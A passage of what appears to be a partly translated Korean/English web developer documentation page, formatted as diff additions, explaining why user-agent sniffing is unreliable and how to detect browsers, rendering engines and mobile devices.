<li>하위 문자열 "Chrome"을 포함하는 모든 사용자 에이전트 문자열은 크롬이라고 가정했습니다. UA 문자열은 틀릴 가능성이 매우 높습니다.</li> + <li>정규표현식의 look-behind 기능이 크롬 브라우저에서는 항상 지원될 것이라고 가정했습니다. 하지만 agent가 해당 기능이 지원되기 전인 옛 버전의 크롬일 수도 있고, 당시에는 look-behind는 실험적 기능이었기 때문에, 이를 제거한 버전의 크롬일 수도 있습니다.</li> + <li>가장 중요한 점은, 다른 모든 브라우저들이 look-behind를 지원할 것이라고 가정했습니다. 다른 브라우저들도 look-behind 기능을 지원하는 버전이 모두 다를텐데, 이 코드는 이를 무시하고 코드를 진행합니다.</li> + </ul> + + <p>look-behind 지원여부 자체를 테스트함으로써 이 문제들을 회피할 수 있습니다.</p> + + <pre class="notranslate">var isLookBehindSupported = false; + +try { + new RegExp("(?<=)"); + isLookBehindSupported = true; +} catch (err) { + // agent가 look-behind 기능을 지원하지 않는다면, 위 문법을 사용한 + // RegExp 객체의 생성이 에러를 던질 것이고, isLookBehindSupported는 + // 여전히 false일 것입니다. +} + +var splitUpString = isLookBehindSupported ? function(str) { + return (""+str).split(new RegExp("(?<=[A-Z])")); +} : function(str) { + return str.replace(/[A-Z]/g,"z$1").split(/z(?=[A-Z])/g); +}; +</pre> + + <p>위의 코드가 시범을 보였듯이, user agent를 살펴보지 않고도 어떤 기능에 대한 브라우저 지원 여부를 시험할 수 있는 방법이 <strong>항상</strong> 존재합니다. 기능 지원 여부를 확인하기 위해 user agent 문자열을 확인할 필요가 <strong>전혀</strong> 없습니다.</p> + + <p>마지막으로, 위의 코드 조각은 크로스 브라우저 코딩과 관련하여 항상 염두에 두어야만 하는 중요한 이슈를 시사합니다.테스트 중인 API를 해당 기능이 지원되지 않는 브라우저에서 실수로 사용하지 마십시오. 확실하고 단순한 이야기 같지만, 때때로 그렇지 않습니다. 예를 들어, 위의 코드 조각에서, lookbehind 기능을 short-regexp 표기법(예를 들어, /reg/igm)으로 사용한다면, 지원되지 않는 브라우저에서는 파싱 에러가 발생할 것입니다. 따라서, 위의 예제에서, <em>/(?<=look_behind_stuff)/</em> 대신에 <em>new RegExp("(?<=look_behind_stuff)")</em>를 사용하는 것이 좋습니다. 심지어 lookbehind가 지원되는 조건분기의 코드에서도 말입니다.</p> + </dd> + <dt>점진적 향상</dt> + <dd>이 디자인 테크닉은 여러분의 사이트를 상향식 접근방법으로 "레이어" 형태 개발할 수 있게 해줍니다. 간단한 레이어로 시작하여, 각각이 더 많은 기능을 이용하는 연속적인 레이어를 가진 사이트로 성능을 개선할 수 있습니다.</dd> + <dt>부드러운 하향</dt> + <dd>이는 여러분이 원하는 모든 기능이 포함된 최선의 사이트를 만들고 나서 오래된 브라우저들도 지원하게 수정하는 하향식 접근입니다. 점진적 상향 방식보다는 조금 더 어렵기도 하고 덜 효과적이기도 하지만, 몇몇 케이스에서는 유용할 것입니다.</dd> + <dt>모바일 장치 감지</dt> + <dd>Arguably the most common use and misuse of user agent sniffing is to detect if the device is a mobile device. However, what is failed to be accountable is what they're really after. People use user agent sniffing to detect if the users' device is touch-friendly and has a small screen so they can optimize their website accordingly. While user agent sniffing can sometimes detect these, not all devices are the same. Some mobile devices have big screen sizes, some desktops have a small touchscreen, some people use smart TV's which are an entirely different ballgame altogether, some people can dynamically change the width and height of their screen by flipping their tablet on its side! So, user agent sniffing is definitely not the way to go. But, there are much better alternatives. Use <em>Navigator.maxTouchPoints</em> to detect if the user's device has a touchscreen. Then, default back to checking the user agent screen only <em>if (!("maxTouchPoints" in Navigator)) { /*Code here*/}</em>. Using this information of whether the device has a touchscreen, do not change the entire layout of the website just for touch devices: you will only create more work and maintenance for yourself. Rather, add in touch conveniences such as bigger, more easily clickable buttons (you can do this using CSS by simply increasing the font size). As for the screen size, simply use <em>window.innerWidth</em> and <em>window.addEventListener("resize", function(){ /*refresh screen size dependent things*/ })</em>. What you want to do for screen size is not slash off information on smaller screens. That will only annoy people because it will force them to use the desktop version. Rather, try to have fewer columns of information in a longer page on smaller screens while having more columns with a shorter page on larger screen sizes. This effect can be easily achieved using CSS flexboxes. Next, always make your code dynamic. The user can flip their mobile device on its side, changing the width and height of the page. Never be satisfied with your webpage until you can open up the dev tools side panel and resize the screen while the webpage looks smooth, fluid, and dynamically resized.</dd> +</dl> + +<h2 id="Which_part_of_the_user_agent_contains_the_information_you_are_looking_for">Which part of the user agent contains the information you are looking for</h2> + +<p>As there is no uniformity of the different part of the user agent string, this is the tricky part.</p> + +<h3 id="브라우저_이름">브라우저 이름</h3> + +<p>사람들이 "브라우저 감시(browser detection)"을 원한다고 말할 때, 실제로 대부분 그들은 "렌더링 엔진 탐지(rendering engine detection)"를 원합니다. Do you actually want to detect Firefox, as opposed to SeaMonkey, or Chrome as opposed to Chromium? Or do you actually simply want to see if the browser is using the Gecko or the WebKit rendering engine? If this is what you need, see further down the page.</p> + +<p>Most browser set the name and version in the format <em>BrowserName/VersionNumber</em>, with the notable exception of Internet Explorer. But as the name is not the only information in a user agent string that is in that format, you can not discover the name of the browser, you can only check if the name you are looking for. But note that some browsers are lying: Chrome for example reports both as Chrome and Safari. So to detect Safari you have to check for the Safari string and the absence of the Chrome string, Chromium often reports itself as Chrome too or Seamonkey sometimes reports itself as Firefox.</p> + +<p>Also pay attention not to use a simple regular expression on the BrowserName, user agents also contain strings outside the Keyword/Value syntax. Safari & Chrome contain the string 'like Gecko', for instance.</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col"></th> + <th scope="col">반드시 포함</th> + <th scope="col">반드시 포함하지 않음</th> + <th scope="col"></th> + </tr> + </thead> + <tbody> + <tr> + <td>Firefox</td> + <td>Firefox/xyz</td> + <td>Seamonkey/xyz</td> + <td></td> + </tr> + <tr> + <td>Seamonkey</td> + <td>Seamonkey/xyz</td> + <td></td> + <td></td> + </tr> + <tr> + <td>Chrome</td> + <td>Chrome/xyz</td> + <td>Chromium/xyz</td> + <td></td> + </tr> + <tr> + <td>Chromium</td> + <td>Chromium/xyz</td> + <td></td> + <td></td> + </tr> + <tr> + <td>Safari</td> + <td>Safari/xyz</td> + <td>Chrome/xyz or Chromium/xyz</td> + <td>Safari gives two version number, one technical in the Safari/xyz token, one user-friendly in a Version/xyz token</td> + </tr> + <tr> + <td>Opera</td> + <td> + <p>OPR/xyz <sup>[1]</sup></p> + + <p>Opera/xyz <sup>[2]</sup></p> + </td> + <td></td> + <td> + <p><sup>[1]</sup> Opera 15+ (Blink-based engine) </p> + + <p><sup>[2]</sup> Opera 12- (Presto-based engine)</p> + </td> + </tr> + <tr> + <td>Internet Explorer</td> + <td>; MSIE xyz;</td> + <td></td> + <td>Internet Explorer doesn't put its name in the <em>BrowserName/VersionNumber</em> format</td> + </tr> + </tbody> +</table> + +<p>Of course, there is absolutely no guarantee that another browser will not hijack some of these things (like Chrome hijacked the Safari string in the past). That's why browser detection using the user agent string is unreliable and should be done only with the check of version number (hijacking of past versions is less likely).</p> + +<h3 id="브라우저_버전">브라우저 버전</h3> + +<p>The browser version is often, but not always, put in the value part of the <em>BrowserName/VersionNumber</em> token in the User Agent String. This is of course not the case for Internet Explorer (which puts the version number right after the MSIE token), and for Opera after version 10, which has added a Version/<em>VersionNumber</em> token.</p> + +<p>Here again, be sure to take the right token for the browser you are looking for, as there is no guarantee that others will contain a valid number.</p> + +<h3 id="렌더링_엔진">렌더링 엔진</h3> + +<p>As seen earlier, in most cases, looking for the rendering engine is a better way to go. This will help to not exclude lesser known browsers. Browsers sharing a common rendering engine will display a page in the same way: it is often a fair assumption that what will work in one will work in the other.</p> + +<p>There are five major rendering engines: Trident, Gecko, Presto, Blink and WebKit. As sniffing the rendering engines names is common, a lot of user agents added other rendering names to trigger detection. It is therefore important to pay attention not to trigger false-positives when detecting the rendering engine.</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col"></th> + <th scope="col">반드시 포함</th> + <th scope="col"></th> + </tr> + </thead> + <tbody> + <tr> + <td>Gecko</td> + <td>Gecko/xyz</td> + <td></td> + </tr> + <tr> + <td>WebKit</td> + <td>AppleWebKit/xyz</td> + <td>Pay attention, WebKit browsers add a 'like Gecko' string that may trigger false positive for Gecko if the detection is not careful.</td> + </tr> + <tr> + <td>Presto</td> + <td>Opera/xyz</td> + <td><strong>Note:</strong> Presto is no longer used in Opera browser builds >= version 15 (see 'Blink')</td> + </tr> + <tr> + <td>Trident</td> + <td>Trident/xyz</td> + <td>Internet Explorer put this token in the <em>comment</em> part of the User Agent String</td> + </tr> + <tr> + <td>Blink</td> + <td>Chrome/xyz</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="렌더링_엔진_버전">렌더링 엔진 버전</h2> + +<p>Most rendering engine put the version number in the <em>RenderingEngine/VersionNumber</em> token, with the notable exception of Gecko. Gecko puts the Gecko version number in the comment part of the User Agent after the <code>rv:</code> string. From Gecko 14 for the mobile version and Gecko 17 for the desktop version, it also puts this value in the <code>Gecko/version</code> token (previous version put there the build date, then a fixed date called the GeckoTrail).</p> + +<h2 id="운영체제">운영체제</h2> + +<p>The Operating System is given in most User Agent strings (although not web-focussed platforms like Firefox OS), but the format varies a lot. It is a fixed string between two semi-colons, in the comment part of the User Agent. These strings are specific for each browsers. They indicates the OS, but also often its version and information on the relying hardware (32 or 64 bits, or Intel/PPC for Mac).</p> + +<p>Like in all cases, these strings may change in the future, one should use them only in conjunction for the detection of already released browsers. A technological survey must be in place to adapt the script when new browser versions are coming out.</p> + +<h3 id="모바일_태블릿_데스크톱">모바일, 태블릿, 데스크톱</h3> + +<p>The most common reason to perform user agent sniffing is to determine which type of device the browser runs on. The goal is to serve different HTML to different device types.</p> + +<ul> + <li>Never assume that a browser or a rendering engine only runs on one type of device. Especially don't make different defaults for different browsers or rendering engines.</li> + <li>Never use the OS token to define if a browser is on mobile, tablet or desktop. The OS may run on more than one type of (for example, Android runs on tablets as well as phones).</li> +</ul> + +<p>The following table summarizes the way major browser vendors indicate that their browsers are running on a mobile device:</p> + +<table> + <caption>Common browsers User Agent strings</caption> + <thead> + <tr> + <th scope="col">브라우저</th> + <th scope="col">규칙</th> + <th scope="col">예제</th> + </tr> + </thead> + <tbody> + <tr> + <td>Mozilla (Gecko, Firefox)</td> + <td><a href="/en-US/docs/Gecko_user_agent_string_reference"><strong>Mobile</strong> or <strong>Tablet</strong> token</a> in the comment.</td> + <td>Mozilla/5.0 (Android; Mobile; rv:13.0) Gecko/13.0 Firefox/13.0</td> + </tr> + <tr> + <td>WebKit-based (Android, Safari)</td> + <td><a href="https://developer.apple.com/library/safari/documentation/AppleApplications/Reference/SafariWebContent/OptimizingforSafarioniPhone/OptimizingforSafarioniPhone.html#//apple_ref/doc/uid/TP40006517-SW3"><strong>Mobile Safari</strong> token</a> outside the comment.</td> + <td>Mozilla/5.0 (Linux; U; Android 4.0.3; de-ch; HTC Sensation Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30</td> + </tr> + <tr> + <td>Blink-based (Chromium, Google Chrome, Opera 15+)</td> + <td><a href="https://developers.google.com/chrome/mobile/docs/user-agent"><strong>Mobile Safari</strong> token</a> outside the comment</td> + <td>Mozilla/5.0 (Linux; Android 4.4.2); Nexus 5 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.117 Mobile Safari/537.36 OPR/20.0.1396.72047</td> + </tr> + <tr> + <td>Presto-based (Opera 12-)</td> + <td> + <p><a href="http://my.opera.com/community/openweb/idopera/"><strong>Opera Mobi/xyz</strong> token</a> in the comment (Opera 12-)</p> + </td> + <td> + <p>Opera/9.80 (Android 2.3.3; Linux; Opera Mobi/ADR-1111101157; U; es-ES) Presto/2.9.201 Version/11.50</p> + </td> + </tr> + <tr> + <td>Internet Explorer</td> + <td><strong>IEMobile/xyz</strong> token in the comment.</td> + <td>Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0)</td> + </tr> + </tbody> +</table> + +<p>In summary, we recommend looking for the string “Mobi” anywhere in the User Agent to detect a mobile device.</p> + +<div class="note"> +<p>If the device is large enough that it's not marked with “Mobi”, you should serve your desktop site (which, as a best practice, should support touch input anyway, as more desktop machines are appearing with touchscreens).</p> +</div> |